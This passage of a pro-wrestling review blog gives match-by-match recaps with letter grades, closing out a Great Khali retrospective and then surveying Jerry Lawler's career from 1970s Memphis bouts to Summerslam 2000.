
Khali would be called upon to be a monster at Elimination Chamber 2012.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Barrett and Big Show start in the ring. Show runs Barrett over to start but Barrett gets him down for one. They go outside and Show gets rammed into the cage door twice. Wade goes after the knee but Show kicks him off. We get a statement from Lawler saying that if you’re knocked out (like Jericho was) that counts as a submission. Why do I have a feeling this won’t be enforced later? Show wants Bryan as the buzzer goes off but gets Cody instead. Show is standing there waiting on him and things slow down a lot.

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

Rating: B-. Better match with better drama, but at the end of the day this wasn’t that great. Khali being out quick was fine but I have some real issues with them jobbing out their heels AGAIN for the sake of a one off thing. Barrett was this evil violent and cunning man and he loses to Santino. The same for the longest reigning IC Champion in 8 years. And for what? A pop because they can’t put the freaking US Champion in there? Ok I’m shutting up before I go too long with this. Match was ok, but nothing great.

Another one off match from the live Great American Bash Smackdown.

Great Khali/Layla vs. Aksana/Antonio Cesaro

This is punishment from Teddy because he’s a sore loser. The guys start and it’s time for a chop in the corner to Cesaro. Khali misses a big boot and Antonio takes him down in the corner. Khali throws him aruond some more and it’s off to the girls. Layla isn’t exactly Trish or Lita but she’s by far the better in ring worker of the two here. Cesaro breaks up a cover and is thrown to the floor. Layout gets the pin at 1:45, and that means Layla pinned Aksana in case you can’t figure out that LAYla uses the LAYout and you can’t check the results below if you’re not sure.

Khali’s matches would start getting a lot shorter due to injuries. Here’s an example from Smackdown on February 8, 2013.

Great Khali vs. Titus O’Neal

Josh calls Khali a Hall of Famer, sending JBL into a huge rant about how we follow Bruno Sammartino with this guy. Khali chops him into the corner as Teddy and Booker are watching in the back. Titus pounds Khali down and hits a big boot to the head for two. Off to a front facelock but Khali shrugs it off and the big chop ends Titus at 1:34.

We’ll wrap it up with Raw, June 30, 2014.

Great Khali vs. Damien Sandow

Chop, pin, four seconds.

Great Khali is a guy who gets more flack than he deserves. No he isn’t great in the ring or anything like that, but what do you expect from a guy 7’3 and 420lbs? He’s a power giant and that’s all he should try to do. Just like every other giant in history, a lot of the mystique went away once he got beat and that’s to be expected. He’s never going to win the Lou Thesz Award, but people calling him the worst wrestler in the world completely miss the point.

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Wrestler of the Day – July 18: Jerry Lawler

Here’s a commentator who could actually wrestle: Jerry Lawler.

This is going to be a bit different than you might expect. Lawler has been around SO long that it’s almost impossible to cover everything. I’ll have to jump a lot as several years of his old stuff is very difficult to find.

Lawler got started in 1970. Here’s a match from I believe 1975/1976.

Jerry Lawler vs. Don Anderson

Lawler is a huge heel here and is already ticking the fans off before the match. The guy is nothing short of a master at that. A headlock goes nowhere and it’s Anderson taking over with an armbar. Back up and Lawler backs up before grabbing an armbar. Anderson counters and we get a complaint of tights being pulled to no avail. Back up again and Jerry hammers away, knocking him out to the floor with a big right hand. This brings out a football player that Lawler had yelled at earlier to knock Jerry out for the DQ.

Here’s a one time only moment: Ric Flair comes to Memphis. This was all set up and blown off in one episode. Flair was in Memphis on August 14, 1982 for a match and the angle came from there. I’ll include the promos for background.

Flair comes in to the studio and talks about how Memphis has surprised him with its class and how well read everyone is. He’s willing to wrestle here out of the goodness of his heart and signs for a contract against the Southern Heavyweight Champion, whoever that is at that point, at a date in the future. He’ll also be in the ring later tonight against Rick McCord.

Later in the show, Jerry Lawler comes out and doesn’t like that he’s facing Pat Hutchinson because Pat isn’t much competition. He would however like to shake hands with Ric Flair. Here’s Flair in the robe but Lawler asks him to step down off the apron for a second. Flair acts like he doesn’t know who Lawler is, even though Lawler says they wrestled on the same card a few months ago.

Ric says he isn’t wasting his time on Lawler but he’ll talk to him after the match. Jerry says Ric is here to impress the pretty women of Memphis and that won’t happen if he beats a rookie like McCord. The World Champion isn’t impressed and says he could wrestle a broom. He’s surprised by Memphis and could wrestle anyone and impress everybody. If the people here want him to face somebody else, then bring them out.

That’s exactly what Lawler wanted to hear, because he’d love to wrestle Ric Flair. Ric agrees to a ten minute time limit non-title match. Jerry plays on Flair’s ego, saying that if no one is up to Flair’s caliber, why not put the title on the line? Ric thinks it’s beneath him but he’ll do it anyway. They make it clear that the title is on the line for ten minutes.

NWA World Title: Ric Flair vs. Jerry Lawler

After the introductions, Flair wants it known that the champion is a fair man. Lawler may be a big man in Memphis, but Flair will give him the chance to walk out right now. Lawler says bring it on and the bell rings. Ric easily takes him to the mat and Jerry clearly isn’t much of an amateur wrestler. They trade hammerlocks with Flair being taken to the mat and it’s off to an armbar by the King. Jerry wins a battle over a top wristlock and takes the champion down with a headlock.

Back up and the time is already screwed up as they’re halfway done after about four minutes. Jerry is sent face first into the buckle but he catches Ric in a quickly broken sleeper. There are less than three minutes to go and Flair chops Lawler down, only to get caught in a gutwrench suplex for two. Ric hammers away and gets two off an elbow drop as we’ve got a minute left. There’s a knee drop for two more and a delayed vertical suplex. Flair puts on the Figure Four as time runs out after less than eight minutes.

Rating: D. The match was pretty horrible but they didn’t have the time to go anywhere. You would think Lawler would get in more offense though as this was mainly a Flair squash after about three minutes in. The time thing was probably a TV deal and something that was very common back in the day.

Post match Flair screams that Lawler gave up but is told it was a time limit draw. Now he wants five more minutes and the match continues. Flair throws Lawler around but Jerry is all ticked off. There goes the strap and Jerry hammers away before sending him into the corner for a Flair Flip. The middle rope fist connects and Ric bails to the floor. He grabs the title and leaves for the countout.

Lawler declares himself the winner and wants to know where his belt is. After a break, promoter Eddie Marlin comes out and says there was no contract and it wasn’t a title match. Ric comes back out and says there’s no contract and rips Memphis apart. Flair won’t ever wrestle Lawler again and says Jimmy Hart is the only man he trusts in Memphis.

Ric writes Hart a check for $10,000 for the destruction of Jerry Lawler. He’ll sign the check the day he hears that Lawler has a broken arm, a broken leg, a broken neck or whatever it takes to get him out of wrestling. There will be men coming in from around the world to take care of Lawler and he’ll know that Ric Flair is the Big Daddy of Memphis. I’ve always liked this story, even though it was something they did in almost every territory to make the top guy look like an even bigger deal.

We’ll stay in Memphis with this match on January 15, 1983. And no it’s not him.

Sabu vs. Jerry Lawler

Boy that would mean a much different match today. Before the match Lawler says he’s sick of Hart and all of his cronies and all their bounties and challenges and all that stuff. If Hart wants to, bring all his boys out here right now and let’s do it. Hart and Sabu come out and it’s on fast. Lawler throws Sabu into the ring and the beating begins. They head to the floor and Lawler destroys him with a chair. I don’t think this was anything resembling a match. Actually the referee is letting it keep going. Eaton runs in and gets a right hand from Jerry.

Lawler beats the tar out of Eaton too before heading back in to beat on Sabu some more. Back to Eaton as Jerry has to keep going between the two of them. He doesn’t seem to have many friends here does he? Sabu finally gets in a shot on Lawler with his collar and the beating is on. Some people finally come in to help but get beaten down as well.

From the AWA’s Super Sunday in 1983.

Jerry Lawler vs. John Tolos

Tolos is a guy named the Golden Greek who died a few years back. This is right after the David Letterman show with Kaufman so Lawler is a national sensation at this point. Tolos jumps him immediately and Jerry is in trouble early on. He hits a jumping shot to the arm and hooks a wristlock on Lawler. Lawler comes back with a punch and hooks a headlock. It’s so weird hearing Jerry called a young man.

Lawler cranks on the head and the fans are getting into his stuff. He cranks on the head twenty seven times with the fans counting along. A big right hand puts Tolos down and hooks the chinlock. A jawbreaker gets him out of that and they collide to put both guys down. Tolos gets up and throws him over the top for….not a DQ for some reason.

Back in Tolos gets some two counts and there goes the strap. He takes Tolos down and hits rapid fire punches to the face followed by the middle rope fist drop for two. Lawler misses a charge and both guys go down. Tolos misses a middle rope knee drop and the piledriver ends this. Lawler can’t do much but he can hit a piledriver with the best of them.

Rating: D+. Not much here but Lawler was a much bigger deal at this point on a national stage due to the Letterman/Kaufman thing. Having him come out here and piledrive a midcard level guy was the right move. The problem with this show is becoming clear though as there aren’t any real stories to the matches. To be fair though, that’s normal for wrestling back in this era.

Back in Memphis on December 26, 1987. There wasn’t much to be seen in the years between.

Lord of the Ring First Round: Curt Hennig vs. Jerry Lawler

Hennig jumps Lawler to start and stomps away with Jerry in big trouble. Curt pokes him in the eye as this has been one sided so far. Lawler is draped across the top rope for two and a knee lift puts him down again. Curt sends him into the corner as the beating continues. Lawler finally starts getting fired up and takes the strap down as the fans get into the match. Jerry pounds away in the corner so Hennig throws the referee down. Apparently that isn’t a DQ so Lawler makes his comeback and punches Curt down, eventually ending him with the middle rope fist drop.

Rating: D. This was more of an angle instead of a match. Jerry was chasing the world title at this point and would finally win in about five months later. This was more or less a teaser for future matches which is fine, though I’m surprised they went with the champion getting pinned in just over five minutes.

Jerry would finally get his real World Title (kind of) when Curt Hennig was jumping to the WWF. Lawler would be AWA World Champion in a title unification match at SuperClash III.

AWA World Title/WCCW World Title: Jerry Lawler vs. Kerry Von Erich

This is a legit unification match which is rarer than anything you’ll ever see in modern wrestling. This would be like the TNA Champion and ROH Champion unifying their belts. See what I mean? The unification lasted like a month because no one could actually let that stand. Lawler comes out to Gonna Fly Now. That takes guts. Both guys are faces but Lawler is the de facto heel.

Kerry, ever the brilliant guy, cuts his left arm half to pieces TAKING HIS JACKET OFF, because that’s where he was keeping his razor. There is literally blood dripping onto the mat 5 seconds into the match. Lawler rams it into the post like 40 seconds in to give it a reason to bleed, which shows some intelligence. Marshall manages to confuse right and left. And people wonder why this company folded.

Kerry hits a big right hand to take over and keeps checking his cut. Marshall says both of them have beaten Flair, Savage and Hogan. That’s true in Lawler’s case but I don’t remember ANY instance of Von Erich even facing Savage or Hogan. Then again he messed up left and right not 2 minutes ago so I’d take that with a grain of salt. Von Erich gets a clothesline and Lawler is annoyed.

Still feeling out now. Again remember that Lawler is a legit tough guy here and not a comedy guy that is a grizzled veteran. School boy gets two for Kerry. They do a test of strength which even the announcers say is stupid for Lawler. Jerry misses a right hand and the discus punch gets two. Lawler sends him to the floor and takes over as we’re into the meat of the match now.

Piledriver is loaded up and hits but Kerry beats him to his feet. Another discus punch hits for two. Claw goes on but he can’t quite cinch it in. A knee drop misses and Jerry gets a second wind. And there goes the referee about ten minutes in. Von Erich gets a Piledriver and there’s no referee. There is blood everywhere. Outside and Kerry punches the post by mistake, shifting momentum again.

Lawler does the Memphis standard of pretending to have a foreign object to drive the fans nuts. There’s nothing in his hand but it looks great. Kerry’s head is busted now and Lawler goes in for the kill, hitting the middle rope punch for two. He throws in the foreign object on the second one but Lawler jumps into the Iron Claw on the stomach (just go with it). The regular Claw goes on and blood is literally dripping off Von Erich’s head. Jerry finally gets a rope but it goes on again, this time in the middle of the ring.

The referee keeps checking on the cut and Kerry keeps shaking his head to make it harder to do, probably thinking there’s too much blood there. They get up and Kerry misses a charge in the corner to send Kerry’s head into the post. I was wrong earlier as they’ve found new places to bleed on. They slug it out and Lawler gets the object again for another shot.

Kerry’s tights have blood on them and are half red now when they started as white. Jerry goes after the eye like a crazy man and just picks his shots now. Kerry misses a big swing and it’s Ali Shuffle time. Time for the object again and Von Erich hits the floor. Lawler gets a running punch back in and Kerry is somehow able to fight back.

Discus punch hits in the corner and the referee keeps wanting to check on the cut. They punch each other and the referee finally gets to check on the cut. The fans are totally behind Kerry here. Claw goes on again and Lawler is almost dead but gets his arm up at the last possible second a few times. The referee checks the eye again and stops the match with Lawler out cold. Not for Lawler passing out, but because Von Erich “can’t continue.” WEAK ending, especially when Lawler is unconscious.

Rating: B+. This would have been a lot higher if they got the ending right. The blood thing works if they’re both down or something, but with Lawler out cold in the Claw and somehow winning there, I don’t get how that exactly works. Still though, this wouldn’t last long at all as the AWA stripped their title off Lawler in January or so and Larry Zbyszko of all people won it due to being Verne’s son in law.

Back to Memphis again on January 26, 1991.

Jerry Lawler vs. Terry Garvin

Uptown Bruno runs his mouth for awhile on commentary as the stalling is going on. We’re a minute in and there hasn’t been any contact. Ok there’s a lockup so we’re really going now. A right hand puts Garvin on the floor and he yells at the fans a bit. Garvin wants to box and Lawler is fine with it, so Garvin runs again. Back in Garvin charges into a boot in the corner. They’re averaging a strike a minute so far.

Bruno slips Garvin a chain and a pair of shots with it puts Lawler down. Piledriver further kills the King and Bruno chokes a bit. A third chain shot puts him down but Lawler pulls the strap down. He punches Garvin into the ropes and calls for something. Someone throws a pair of scissors in and the chase is on. Garvin runs out for the countout.

Rating: C-. Pretty boring match here as the majority of it was brawling. That’s Memphis 101 though: they’ve very much into a simpler style but it works pretty well as far as a crowd reaction. Stuff like trying to cut someone’s hair is an act of war and a non-existent chain is all you need to send the crowd into a frenzy. It’s the polar opposite of Raw and to an extent it really works.

Another Memphis match from February 13, 1993.

Rock N Roll Phantom vs. Jerry Lawler

The Phantom is Ron Bass’ (remember him? You probably shouldn’t) brother in a mask. He’s rather fat and is from Louisiana. Luger is out for commentary again. The Phantom takes over to start but Lawler gets going and the same guys that came out with Christopher earlier are here with the Phantom. They come in for a DQ at about a minute in. Jarrett and Christopher come out for a huge beatdown. Christopher gets on the mic (fourth or fifth time tonight) and says if Lawler wants to fight him tonight, get Jarrett out of the ring. Christopher tries to run anyway but Lawler catches him and beats him up.

It would soon be off to the WWF, with Lawler going after King of the Ring Bret Hart, triggering a LONG war, including this match at Summerslam 1993. It was supposed to take place earlier in the night but Bret first had to beat Doink the Clown. Jerry attacked him with his crutch to end the previous match, so Bret is coming in weakened.

Bret Hart vs. Jerry Lawler

Bret blasts him in the head with one of Doink’s buckets before the bell. They head inside and Bret immediately pounds Lawler down and gets in a crutch shot for good measure. Lawler gets in a crutch shot to the throat and chokes away as the referee (ECW’s Bill Alfonzo) is trying to restrain the Hart Brothers.

Bret gets crotched against the post, allowing Lawler to tell the referee to go yell at the Brothers again. The distraction lets Lawler get in more crutch shots in a classic simple heel move. He stops to tell the booing fans to shut up but Bret is ready to fight. Hart destroys Lawer and even throws in a piledriver before putting on the Sharpshooter for the academic submission. He won’t let go though and the decision is reversed.

Rating: B. The match itself isn’t much from an action standpoint, but the story was perfect (Bret wants revenge) and it’s a short form clinic on how to work a crowd from Lawler. Those subtle things like distracting the referee and sneaking in weapon shots and telling the crowd to shut up are so basic and easy but you NEVER see them today. Today’s writers need to watch some Lawler matches and they’ll learn how to have a crowd eating out of a heel’s hand in no time.

It takes about ten referees plus two Brothers to pull Bret off of Lawler. Bret is told that Lawler is the undisputed King so he goes after Jerry again as Lawler is put on a stretcher. Bruce Hart gets in some shots as well but Lawler is finally wheeled off, raising his arm in victory like the true villain he is.

Unfortunately we never got the planned blowoff to this feud as some 15 year old accused Lawler of rape (she admitted she made the whole thing up and Lawler was acquitted) so the Hart Brothers vs. Jerry and three hired goons at Survivor Series never happened. That’s a shame as the reaction for Lawler being destroyed by the whole family including Stu would have been a sight to behold.

Lawler would get into a weird feud with Roddy Piper over some charity deal, setting up Lawler’s lone PPV main event at King of the Ring 1994.

Roddy Piper vs. Jerry Lawler

Yes, this is somehow the main event of a show with a tournament and a world title match on it. Also, they talk about the New Generation as Lawler walks down the aisle. So we have two mostly retired guys representing the new generation. Yeah that makes a ton of sense. Donovan inadvertently points out the biggest flaw in the tournament: Lawler has always been king so it’s very confusing.

He calls himself the undisputed king of the company, despite Owen being crowned about 3 minutes ago. See the problem now? There’s also something about a children’s hospital in Canada as we’ve apparently shifted from King of the Ring to a bad TV movie of the week. Of course Piper has a full team of bagpipe players and drummers. For zero apparent reason, Piper is now best friends with the guy that made fun of him on Raw.

That makes less than zero sense. Apparently Lawler is to blame for the kid putting on the Piper outfit, doing an impression of Roddy, and bowing to King and kissing his feet. Why are we having this match again? That makes no sense at all but we’ll go with it anyway. Oh look Piper wants to talk. He uses the bubblegum line to a HUGE pop. The kid makes some bad jokes too for no apparent reason.

So, from the time Lawler came through the curtain, it took 8 minutes to start the actual match. Gorilla says it’s vintage Piper, and in this case it actually is as he doesn’t actually wrestle but fights. The kid has a crown on. Just take me now. Piper throws some punches to mix it up a little. Donovan thinks Piper doesn’t like Lawler. At least this is almost over. The kid keeps interfering and even Piper gets annoyed with him.

Lawler hasn’t gotten a single move in yet and we’re about 4 minutes in. Roddy has short and almost blonde hair at this point and it’s just not right looking. Lawler goes after the kid and gets beaten on. That’s the story way too many times in this. Make that 6 minutes with nothing from Jerry. Hey there’s a punch, and once he gets Piper dazed a bit, he goes after the kid again. This show just needs to end now. I mean right now. Walk out of the ring and the show will be better instantly.

Apparently by being evil, Lawler is showing his true colors. If that’s the case he’s the biggest patriot I’ve ever seen because he never has a problem showing them. We’re in the corner now with the kid next to the buckle and Piper on his for protection while Lawler kicks Piper. I hate this match. There’s no commentary for a bit either as they have nothing to say or Donovan has wandered off again.

Piper “defends” him by shoving him out of the ring head first. 96% of this match has been punches. I mean they’re not even throwing in any kicks or something like that to vary it up a bit. Why are these two main eventing this show? Can ANYONE explain that to me? Apparently Lawler has patented the sleeper. Does ANYONE ever remember him using that? I know Piper used it, but Lawler?

I think Roddy agreed to give money or part of it or something that he wins here to the hospital. You know, instead of just giving it to them anyway from his own pocket. Lawler hits the only high impact move he knows and Roddy gets up. Piper says bring it on, so Lawler punches him down. That’s just amusing. This is just a bad match and it’s not showing any sign of ending.

Piper hits two bulldogs because the first wasn’t enough I suppose. He sets for a third and the referee goes down. Lawler hits him with the legendary foreign object and Piper is out. To continue the idiocy of this match, Lawler puts his feet on the ropes. That’s not that dumb of course as it’s a standard heel move that made Flair more hated than it was thought humanly possible to be.

No, the stupid part is Piper kicking his feet up into the air while not moving Lawler at all. Hey Roddy: IT MIGHT HELP IF YOU MOVED YOUR ARMS TOO! Seriously he’s just kicking them into the air. You would think he’s having a seizure or something. Anyway the kid shoves Lawler’s feet off the ropes because we just haven’t had enough fun tonight.

Piper botches a belly to back suplex and then botches a cover (Yes, he managed to botch a cover) for the pin to end this as apparently it’s a big deal that it’s Father’s Day. Ok then. Piper celebrates with the kid to end this.

Rating: F. WHAT IN THE WORLD WAS THE POINT OF THIS??? It’s the second longest match of the night and it was AWFUL. Literally, 95%+ of that match was just punching. It wasn’t interesting, there was ZERO reason for this to end the show, and that kid was a freaking pest. Why wasn’t the WWF Title match the main event? It couldn’t have been to send the fans home happy. They were asleep for the most part. Hart won so it’s not like they would have been sad. I’m at a loss for words on this and that’s not something that happens often. I seriously have no clue what they were thinking here.

Back to Bret at the first In Your House. Bret had to face Hakushi earlier in the night but he “injured his knee” so Lawler is very confident.

Jerry Lawler vs. Bret Hart

Jerry didn’t see the interview so Bret limps to the ring again, only to climb in with ease. Lawler tries to run but gets caught in the corner where Bret pounds away. Bret takes him down with a slam and some legdrops followed by a BIG backdrop. All Hart so far but Lawler comes back with a quick piledriver (his finisher) but Bret is up in just a few seconds. He pounds way on Jerry in the corner again before piledriving Lawler down for one.

Jerry comes back with a slam of his own while going up top, only to jump into Bret’s fist to the ribs. Bret pounds away but here’s Shinja to distract Hart for about the 12th time tonight. The referee is knocked into the ropes and gets his ankle tied up in the ropes as Bret hits the Russian legsweep. Hakushi comes in and takes out Bret with a kick to the head and two top rope headbutts, giving Lawler the easy pin.

Rating: D+. Again this didn’t have the time to go anywhere as the last two matches haven’t even combined to go 11 minutes. Lawler vs. Hart was a feud that went on for over two years and would culminate soon enough. This wasn’t the best entry in the series though but it furthered both itself and Hakushi vs. Bret so no complaints there.

We’ll jump ahead again to Summerslam 1996 where Lawler has been tormenting Jake Roberts for his alcohol issues.

Jerry Lawler vs. Jake Roberts

Before the match we have the debut of a new Olympian who will be getting in the ring soon: Mark Henry. Lawler brings his own bag with him along with something in his pocket. He’s also wearing a Baltimore Ravens jersey (the beloved Cleveland Browns had recently moved to Baltimore and become the Ravens) because Lawler knows how to rile up a crowd like few others ever could. Henry thinks it’s hilarious despite being a face.

Lawler pulls out two bottles of Jim Beam to be Roberts’ partners tonight and says Roberts’ wife only looks good after a six pack. Henry is so stupid that if he won a gold medal he’d have it bronzed. Once Roberts uses his bar stool as a walker to get out here, Lawler is going to knock him sideways so everyone can recognize him. It’s very impressive how easily Lawler can have a crowd eating out of the palm of his hand like this.

Roberts finally comes out so Lawler pulls a huge bottle of booze from the bag. Jake pulls the snake out of his own bag to scare Lawler to the floor and the bell finally rings. Lawler looks for a microphone but Jake sends him face first into the steps and hammers away back inside. Back to the floor with Lawler being sent into various hard objects until he steals a drink from a fan to blind Jake. Henry: “So what is the fan going to drink?” Lawler gets one of the bottles from ringside but has to block a DDT attempt. Another DDT is countered and Jerry hits him in the throat with the bottle for the pin.

Rating: D. This was much more of an angle than a match with Lawler giving a great lesson in how to fire up a crowd. Roberts wouldn’t be around much longer before heading to ECW and the indies. This would lead to Henry’s first mini feud against Lawler which started got his career going in slow motion.

Post match Lawler says Roberts is holding his throat because he wants a drink. Lawler opens the big bottle to pour it down Jake’s throat but Mark Henry makes a delayed save.

Jerry would be on a team at Survivor Series 1996.

Team Hunter Hearst Helmsley vs. Team Marc Mero

Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush
Marc Mero, Jake Roberts, The Stalker, Rocky Maivia

I think you know everyone here. Stalker is Barry Windham as a kind of military guerrilla warfare character. This is Rocky’s debut, so who do you think the focus is going to be on? Lawler and Roberts are feuding as well. Mero has Sable with him here. Sunny immediately freaks out on JR for suggesting Sable is hotter. She yells about being natural while Sable is about to melt near the fireworks. Rocky’s outfit looks ridiculous with kind of a cape but made of streamers that goes over his chest as well. Apparently Roberts was a surprise partner and the replacement for Henry.

Jake comes out with the big yellow snake sans bag and chases the team off with it. Goldust and Mero get things going with Marc cranking on the arm. They both block hiptosses so Mero rolls him up for two. Off to Stalker who is now just a guy in camo pants and a WWF t-shirt. Back to Mero to fire off a bunch of hiptosses to Goldie who is a bit calmer than he was last year. Rollup gets two for Mero and it’s back to the arm. Stalker pounds away at Goldie’s ribs before it’s off to HHH. Off to Mero to face Crush as HHH wanted nothing to do with Wildman (Mero).

Mero grabs the arm and for you trivia guys out there, Rocky’s first official time in a WWF ring is against Crush. It lasts all of six seconds before it’s off to Lawler who is immediately punched, kicked in the face, and knocked to the floor. You know Lawler is going to go insane with the selling too. Lawler wants nothing to do with Rocky so it’s off to HHH. Vince explains that Rocky’s name is Dwayne Johnson and that he took the name of his father and grandfather to come up with Rocky Maivia.

In the first of many matches, HHH stomps away in the corner and JR is in football mode. Goldust comes in and drops an elbow followed by some rights to the head. Crush comes in and works on the back for a bit before it’s off to Lawler. Back to HHH as Sunny makes fun of Vince for allegedly having a toupee. Rocky pounds away and backdrops HHH before it’s off to Roberts.

Jake beats up everyone but tries to get to Lawler instead of going after the legal HHH. The shortarm clothesline takes HHH down but the DDT doesn’t work. Off to Lawler who makes fun of Roberts for being an alcoholic. Lawler keeps doing it and there’s the DDT for the first elimination. Goldust comes in next as JR makes fun of the lack of tan on Roberts. We hit the chinlock for a bit until jawbreaker gets Jake out of it. Off to Stalker as JR and Sunny talk about Barry wearing lucky boots. Crush hits Stalker in the back and the Curtain Call (reverse suplex drop) gets the pin for Goldust to tie things up.

Mero comes in immediately to hit a knee lift to take over. Goldie gets in a shot and HHH finally comes in to beat on the other captain. A backbreaker puts Mero down and it’s back to Crush. This is during Crush’s gang member phase and he couldn’t look more out of place with his partners at this point. A legdrop gets two for Crush and it’s off to Goldie. Back to Crush for another backbreaker for two. Things are slowing down a bit here.

HHH comes in again and puts on an abdominal stretch. He gets caught holding the ropes and hiptossed out as is his custom with referees. A sunset flip can’t get HHH down before he makes the tag to Goldust. HHH is back in about five seconds later and let’s look at Sunny! Ok I can’t complain about that one as much. Jake is pulled in sans tag, allowing Mero to hit a moonsault press on HHH for the elimination. That was a very messy sequence with all the tags with nothing happening between them and the non-tag to Jake. Either that or I missed a tag and Mero was totally illegal when he pinned HHH.

It’s Mero/Rocky/Roberts vs. Crush/HHH. Crush comes in next and is almost immediately dropkicked out to the floor. Mero loads up a dive but Goldust makes a save and shoves Crush out of the way. Back inside, Crush’s Heart Punch (exactly what it sounds like) pins Mero. We were looking at a replay when it happened though so that’s hearsay. Roberts comes in, misses the short clothesline and is Heart Punched out as well.

We’re left with Rocky (who actually gets a face chant in MSG at this point) vs. Goldust and Crush. He starts with the one not painted like an Academy Award and accepts a Test of Strength for some reason. A small package out of nowhere gets two for Maivia and here’s Goldust again. Rocky cross bodies Crush for no count as both bad guys are in the ring at once. Goldust hits Rocky low which isn’t illegal apparently but Crush Heart Punches Goldie. Cross body pins Crush and about thirty seconds later, a shoulder breaker (Rocky’s original finisher) gets the final pin.

Rating: C+. This dragged a bit in the middle, but it accomplished three goals: Roberts got to knock Lawler out cold, Mero got to pin HHH to continue their feud, and Rocky got to debut strongly. The problem is the rest of the match wasn’t much to see. Maivia winning over guys like Crush and Goldust is a good thing because it’s unrealistic to have him beat the IC Champion and beating Lawler doesn’t mean anything because Lawler is a career jobber in the WWF. Crush is a big imposing guy who is also a jobber, but at least he looks intimidating. Goldust has credentials too and a loss isn’t going to hurt him. Smart booking.

Jerry would show up in ECW to attack the promotion, setting up a match at Hardcore Heaven 1997.

Tommy Dreamer vs. Jerry Lawler

The story here is obvious: it’s ECW vs. the WWF and Lawler attacked Dreamer a few months back with the help of Rob Van Dam to set this up. Dreamer comes in with something metal to block Lawler’s right hands before knocking him to the floor with a shot to the head. Tommy throws a fan’s drink in Lawler’s face and crotches him on the post. Jerry is already busted open. There’s a hamburger and metal sign to the face as Dreamer is in full control.

They fight into the crowd and a beer to the head knocks Lawler back a few steps. He’s whipped into the barricade and punched with a popcorn bucket. Tommy chokes with a belt and they head inside, only to have Dreamer get crotched while trying to get a chair to the top rope. Lawler throws him off the top and face first into the chair before hammering him outside with right hands. Dreamer gets crotched on the barricade as well before Lawler finds the belt that choked him earlier.

Some shots to the head set up some whips to the back before Lawler looks at another burger. Back in and Lawler hits his finisher piledriver but it only gets two. The fans barely respond as they know it’s not ending that fast. Jerry rips the ECW shirt off Dreamer’s back and wipes himself with it to continue driving the fans insane. Tommy shrugs off a bunch of right hands and swears a lot before hammering away at Lawler. He takes too long posing and shouting ECW though, allowing Jerry to nail a low blow.

More low blows keep Dreamer down and Lawler DDTs the referee for no apparent reason. He tries to crotch Dreamer on the post but gets pulled face first into the steel for his efforts. The lights go out and come back on to reveal Rick Rude blasting Dreamer in the head with a trashcan. Now Dreamer is busted open as well but still kicks out at two. Now the fans are getting into the near falls.

Lawler talks more trash to the fans but Dreamer loads up a piledriver, only for the lights to go out again. They come back to reveal Jake Roberts who lays out Dreamer. Jerry and Jake have never quite gotten along so Lawler hides in the corner. The DDT (Jake’s signature move) knocks Dreamer silly and Jake rants about God for a bit. Lawler offers a handshake but gets clotheslined as well. The referee wakes up and counts two on Dreamer, earning some applause from Jake as he leaves.

Jerry hammers away even more but gets caught in the DDT. Before Dreamer can drop him though, the lights go out a third time. Why he can’t DDT Jerry with no lights is beyond me. The lights come back up to reveal Sunny (Former ECW girl, current WWF girl and Candido’s real life girlfriend) who blinds Dreamer with hairspray. Beaulah and Sunny get in a fight, allowing Dreamer to hit Lawler low a few times and hook the DDT for a pin.

Rating: D+. WAY overbooked here with too many run-ins, especially ones like Roberts that didn’t mean much. The moment at the end with ECW triumphing over the WWF, was a nice moment for the fans but it took a lot of mess to get there. This needed to be about half as long and minus at least one run-in, but it’s not completely terrible as the emotion and payoff were both there.

We’ll skip ahead a few years as Lawler is basically retired from active wrestling. He would however come out of retirememnt on occasion, including this match at Summerslam 2000.

Tazz vs. Jerry Lawler

Tazz comes out with a cowboy hat and a blind man’s cane to really rub in the idea. He takes too long though as Lawler jumps him with a right hand to get us going. They head inside and a dropkick puts Tazz down and follows up with a bunch of right hands to the head. There’s the middle rope punch but a second attempt only hits mat.

Tazz hits some forearms to the back as JR calls him a jackass. Lawler is whipped to the floor so Tazz can talk trash to JR. Back in and Tazz hits what might have been a low blow and goes up for a swanton bomb of all things but Lawler moves. The piledriver connects but Tazz no sells it and the referee is bumped. There’s the Tazzmission on Lawler but JR gets up and smashes the candy jar over Tazz’s head to give Lawler the pin.

Rating: D. What do you expect here? It’s a nothing match which had no business on Summerslam but that’s par for the course a lot of the time. Lawler is harmless enough and at least the win wasn’t clean. Tazz came in so hot but has done almost nothing of note since his debut at the Rumble.

And this one at No Way Out 2001 as Jerry didn’t like censorship.
